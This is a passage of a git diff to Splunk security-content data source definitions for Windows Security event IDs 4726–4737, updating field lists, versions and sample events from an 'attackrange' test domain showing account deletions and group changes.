src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4726001382400x8020000000000000279283Securityar-win-dc.attackrange.localLYNN_WOLFATTACKRANGES-1-5-21-2851375338-1978525053-2422663219-2445ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1- +example_log: | + 4726001382400x8020000000000000279240Securityar-win-dc.attackrange.localBRIDGETTE_GARRETTATTACKRANGES-1-5-21-2851375338-1978525053-2422663219-3265ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1- + 02/21/2024 19:38:39.499 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=NATALIE_SLATER DEL:d4ffca90-bc57-4143-91a9-5718e10bad0e + distinguishedName=CN=NATALIE_SLATER\0ADEL:d4ffca90-bc57-4143-91a9-5718e10bad0e,CN=Deleted Objects,DC=attackrange,DC=local + cn=NATALIE_SLATER DEL:d4ffca90-bc57-4143-91a9-5718e10bad0e + Object Details: + sAMAccountName=NATALIE_SLATER + objectSid=S-1-5-21-2851375338-1978525053-2422663219-1181 + userAccountControl=512 + objectGUID=d4ffca90-bc57-4143-91a9-5718e10bad0e + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:49.26 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82133 + uSNCreated=17423 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.437 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=LEILA_SWANSON DEL:df268d41-1319-40f9-8c89-2b0c4d64c2ba + distinguishedName=CN=LEILA_SWANSON\0ADEL:df268d41-1319-40f9-8c89-2b0c4d64c2ba,CN=Deleted Objects,DC=attackrange,DC=local + cn=LEILA_SWANSON DEL:df268d41-1319-40f9-8c89-2b0c4d64c2ba + Object Details: + sAMAccountName=LEILA_SWANSON + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2953 + userAccountControl=512 + objectGUID=df268d41-1319-40f9-8c89-2b0c4d64c2ba + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:56.04 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82132 + uSNCreated=29876 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Devices,OU=ESM,OU=Tier 2,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.421 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=TOM_MCKENZIE DEL:07e62916-f5f2-4a7a-bf85-cade41526b38 + distinguishedName=CN=TOM_MCKENZIE\0ADEL:07e62916-f5f2-4a7a-bf85-cade41526b38,CN=Deleted Objects,DC=attackrange,DC=local + cn=TOM_MCKENZIE DEL:07e62916-f5f2-4a7a-bf85-cade41526b38 + Object Details: + sAMAccountName=TOM_MCKENZIE + objectSid=S-1-5-21-2851375338-1978525053-2422663219-1792 + userAccountControl=512 + objectGUID=07e62916-f5f2-4a7a-bf85-cade41526b38 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:51.49 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82131 + uSNCreated=21720 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=AWS,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.359 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=OLIVIA_ANDREWS DEL:f465e25d-fd29-43be-a0f7-4743951d21bf + distinguishedName=CN=OLIVIA_ANDREWS\0ADEL:f465e25d-fd29-43be-a0f7-4743951d21bf,CN=Deleted Objects,DC=attackrange,DC=local + cn=OLIVIA_ANDREWS DEL:f465e25d-fd29-43be-a0f7-4743951d21bf + Object Details: + sAMAccountName=OLIVIA_ANDREWS + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2218 + userAccountControl=512 + objectGUID=f465e25d-fd29-43be-a0f7-4743951d21bf + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:53.28 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82130 + uSNCreated=24713 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Devices,OU=AWS,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.327 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=LYDIA_RUSSO DEL:9396c805-1c01-4b6f-9ea5-5f8a2d78587e + distinguishedName=CN=LYDIA_RUSSO\0ADEL:9396c805-1c01-4b6f-9ea5-5f8a2d78587e,CN=Deleted Objects,DC=attackrange,DC=local + cn=LYDIA_RUSSO DEL:9396c805-1c01-4b6f-9ea5-5f8a2d78587e + Object Details: + sAMAccountName=LYDIA_RUSSO + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2336 + userAccountControl=512 + objectGUID=9396c805-1c01-4b6f-9ea5-5f8a2d78587e + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:53.53 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82129 + uSNCreated=25541 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Tier 2,OU=Admin,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.249 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=ESSIE_SALINAS DEL:1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3 + distinguishedName=CN=ESSIE_SALINAS\0ADEL:1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3,CN=Deleted Objects,DC=attackrange,DC=local + cn=ESSIE_SALINAS DEL:1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3 + Object Details: + sAMAccountName=ESSIE_SALINAS + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2134 + userAccountControl=512 + objectGUID=1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:53.09 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82128 + uSNCreated=24123 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=GOO,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.187 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=RILEY_OWEN DEL:8658c536-e6a2-4a87-a42a-766affc4d1f5 + distinguishedName=CN=RILEY_OWEN\0ADEL:8658c536-e6a2-4a87-a42a-766affc4d1f5,CN=Deleted Objects,DC=attackrange,DC=local + cn=RILEY_OWEN DEL:8658c536-e6a2-4a87-a42a-766affc4d1f5 + Object Details: + sAMAccountName=RILEY_OWEN + objectSid=S-1-5-21-2851375338-1978525053-2422663219-3098 + userAccountControl=4194816 + objectGUID=8658c536-e6a2-4a87-a42a-766affc4d1f5 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:56.32 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82127 + uSNCreated=30896 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Devices,OU=FIN,OU=Stage,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.155 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=LEE_OWEN DEL:cefa4d75-89e2-4470-b8a0-fa345385f9d6 + distinguishedName=CN=LEE_OWEN\0ADEL:cefa4d75-89e2-4470-b8a0-fa345385f9d6,CN=Deleted Objects,DC=attackrange,DC=local + cn=LEE_OWEN DEL:cefa4d75-89e2-4470-b8a0-fa345385f9d6 + Object Details: + sAMAccountName=LEE_OWEN + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2955 + userAccountControl=512 + objectGUID=cefa4d75-89e2-4470-b8a0-fa345385f9d6 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:56.04 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82126 + uSNCreated=29890 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=ESM,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.124 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=KRISTEN_MCGEE DEL:f952e959-30fc-4bb5-bdbb-27b96da724c4 + distinguishedName=CN=KRISTEN_MCGEE\0ADEL:f952e959-30fc-4bb5-bdbb-27b96da724c4,CN=Deleted Objects,DC=attackrange,DC=local + cn=KRISTEN_MCGEE DEL:f952e959-30fc-4bb5-bdbb-27b96da724c4 + Object Details: + sAMAccountName=KRISTEN_MCGEE + objectSid=S-1-5-21-2851375338-1978525053-2422663219-3286 + userAccountControl=512 + objectGUID=f952e959-30fc-4bb5-bdbb-27b96da724c4 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:57.08 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82125 + uSNCreated=32216 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Groups,OU=FIN,OU=Stage,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.062 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=BRIDGETTE_GARRETT DEL:917a7609-22e2-437e-aa50-e97aab73384a + distinguishedName=CN=BRIDGETTE_GARRETT\0ADEL:917a7609-22e2-437e-aa50-e97aab73384a,CN=Deleted Objects,DC=attackrange,DC=local + cn=BRIDGETTE_GARRETT DEL:917a7609-22e2-437e-aa50-e97aab73384a + Object Details: + sAMAccountName=BRIDGETTE_GARRETT + objectSid=S-1-5-21-2851375338-1978525053-2422663219-3265 + userAccountControl=512 + objectGUID=917a7609-22e2-437e-aa50-e97aab73384a + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:57.04 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82124 + uSNCreated=32069 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=attackrange,DC=local + isDeleted=TRUE diff --git a/data_sources/windows_event_log_security_4727.yml b/data_sources/windows_event_log_security_4727.yml index 05b8d2bd41..2df5bd7360 100644 --- a/data_sources/windows_event_log_security_4727.yml +++ b/data_sources/windows_event_log_security_4727.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4727 id: 4d2078ab-36f5-447e-b7e4-474890b8040b -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4727 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: 4727001382600x8020000000000000183204880Securityar-win-dc.attackrange.localESX AdminsATTACKRANGEATTACKRANGE\ESX AdminsATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4728.yml b/data_sources/windows_event_log_security_4728.yml index 482d06ddf7..2434130bdf 100644 --- a/data_sources/windows_event_log_security_4728.yml +++ b/data_sources/windows_event_log_security_4728.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4728 id: c0cb4907-d715-41f2-a98a-4f4e75f248c1 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4728 source: XmlWinEventLog:Security @@ -14,6 +14,126 @@ supported_TA: version: 11.0.3 fields: - _time + - AccountExpires + - action + - ActivityID + - AllowedToDelegateTo + - app + - Caller_Domain + - Caller_User_Name + - CategoryString + - change_type + - Channel + - Computer + - dest + - dest_nt_domain + - DisplayName + - Dummy + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID + - eventtype + - Group_Domain + - Group_Name + - Guid + - HandleId + - HomeDirectory + - HomePath + - host + - id + - index + - Keywords + - Level + - linecount + - Logon_ID + - LogonHours + - member_user_name + - MemberName + - MemberSid + - Name + - name + - NewSd + - NewUacValue + - object + - object_attrs + - object_category + - object_id + - ObjectName + - ObjectServer + - ObjectType + - OldSd + - OldUacValue + - Opcode + - PasswordLastSet + - PrimaryGroupId + - PrivilegeList + - process + - process_id + - process_name + - process_path + - ProcessID + - ProcessId + - ProcessName + - product + - ProfilePath + - punct + - RecordNumber + - result + - SamAccountName + - ScriptPath + - session_id + - severity + - severity_id + - SidHistory + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::action + - tag::eventtype + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_group + - user_name + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4728001382600x802000000000000011728112Securityar-win-dc.attackrange.localCN=unpriv2,CN=Users,DC=attackrange,DC=localATTACKRANGE\unpriv2Domain AdminsATTACKRANGEATTACKRANGE\Domain AdminsATTACKRANGE\unpriv2unpriv2ATTACKRANGE0x3cce43a- diff --git a/data_sources/windows_event_log_security_4730.yml b/data_sources/windows_event_log_security_4730.yml index f6cf01a48d..74313a7a3c 100644 --- a/data_sources/windows_event_log_security_4730.yml +++ b/data_sources/windows_event_log_security_4730.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4730 id: 126966ba-a17d-4194-882b-57d303aaf46d -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4730 source: XmlWinEventLog:Security @@ -13,93 +13,178 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace - CategoryString + - change_type - Channel + - CommandLine + - Company - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel - EventCode - EventData_Xml + - EventDescription - EventID - EventRecordID - - Guid - - Image_File_Name - - Keywords - - Level - - Name - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - RenderingInfo_Xml - - SamAccountName - - SidHistory - - SourceName - - SubStatus - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Task - - TaskCategory - - ThreadID - - Version - - action - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - dvc_nt_host - - event_id + - EventType - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes - host - id + - Image + - IMPHASH - index + - IntegrityLevel + - Keywords + - Level - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID - service - - service_id - service_name + - session_id - severity - severity_id + - SHA1 + - SHA256 + - SidHistory - signature - signature_id - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId - sourcetype - splunk_server - - splunk_server_group + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user_group_id + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group - user_id + - UserID + - UtcTime + - vendor - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time + - Version output_fields: - dest -example_log: 4730001382600x8020000000000000183203591Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4211ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0- +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4731.yml b/data_sources/windows_event_log_security_4731.yml index 7d1b7a78cd..1f2ee917aa 100644 --- a/data_sources/windows_event_log_security_4731.yml +++ b/data_sources/windows_event_log_security_4731.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4731 id: 1bbc004e-a75e-4d94-a619-c5aaf5d11ed5 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4731 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4732.yml b/data_sources/windows_event_log_security_4732.yml index 803b5e8cb4..0f8a14fcf3 100644 --- a/data_sources/windows_event_log_security_4732.yml +++ b/data_sources/windows_event_log_security_4732.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4732 id: b0d61c5d-aefe-486a-9152-de45cc10fbb4 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a member is added to a security-enabled local group on a Windows system. mitre_components: @@ -17,63 +17,51 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Name - - CategoryString - - ComputerName - - Error_Code - - EventCode - - EventType - - Group_Domain - - Group_Name - - Keywords - - LogName - - Logon_ID - - Message - - OpCode - - Privileges - - RecordNumber - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Type - action - app - - body - - category + - Caller_Domain + - Caller_User_Name + - CategoryString - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dest_nt_domain - - dest_nt_host - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Group_Domain + - Group_Name + - Guid - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain + - Logon_ID + - member_user_name + - MemberName + - MemberSid + - Name - name + - object - object_attrs - object_category - - privilege_id + - object_id + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id - severity @@ -84,21 +72,37 @@ fields: - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user + - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group + - user_name - vendor - - vendor_privilege - vendor_product + - Version output_fields: - dest -example_log: 10/09/2020 10:41:26 AM +example_log: | + 4732001382600x8020000000000000170552Securityar-win-dc.attackrange.localCN=MAURICE_ANDERSON,OU=Groups,OU=BDE,OU=Tier 1,DC=attackrange,DC=localATTACKRANGE\MAURICE_ANDERSONDnsAdminsATTACKRANGEATTACKRANGE\DnsAdminsATTACKRANGE\AdministratorAdministratorATTACKRANGE0x5184c3- diff --git a/data_sources/windows_event_log_security_4737.yml b/data_sources/windows_event_log_security_4737.yml index 6241a8694e..fac939042f 100644 --- a/data_sources/windows_event_log_security_4737.yml +++ b/data_sources/windows_event_log_security_4737.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4737 id: 132fc609-17f0-4efd-8f7e-db12139c6690 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4737 source: XmlWinEventLog:Security @@ -13,93 +13,178 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace - CategoryString + - change_type - Channel + - CommandLine + - Company - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel - EventCode - EventData_Xml + - EventDescription - EventID - EventRecordID - - Guid - - Image_File_Name - - Keywords - - Level - - Name - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - RenderingInfo_Xml - - SamAccountName - - SidHistory - - SourceName - - SubStatus - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Task - - TaskCategory - - ThreadID - - Version - - action - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - dvc_nt_host - - event_id + - EventType - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes - host - id + - Image + - IMPHASH - index + - IntegrityLevel + - Keywords + - Level - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID - service - - service_id - service_name + - session_id - severity - severity_id + - SHA1 + - SHA256 + - SidHistory - signature - signature_id - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId - sourcetype - splunk_server - - splunk_server_group + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user_group_id + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - 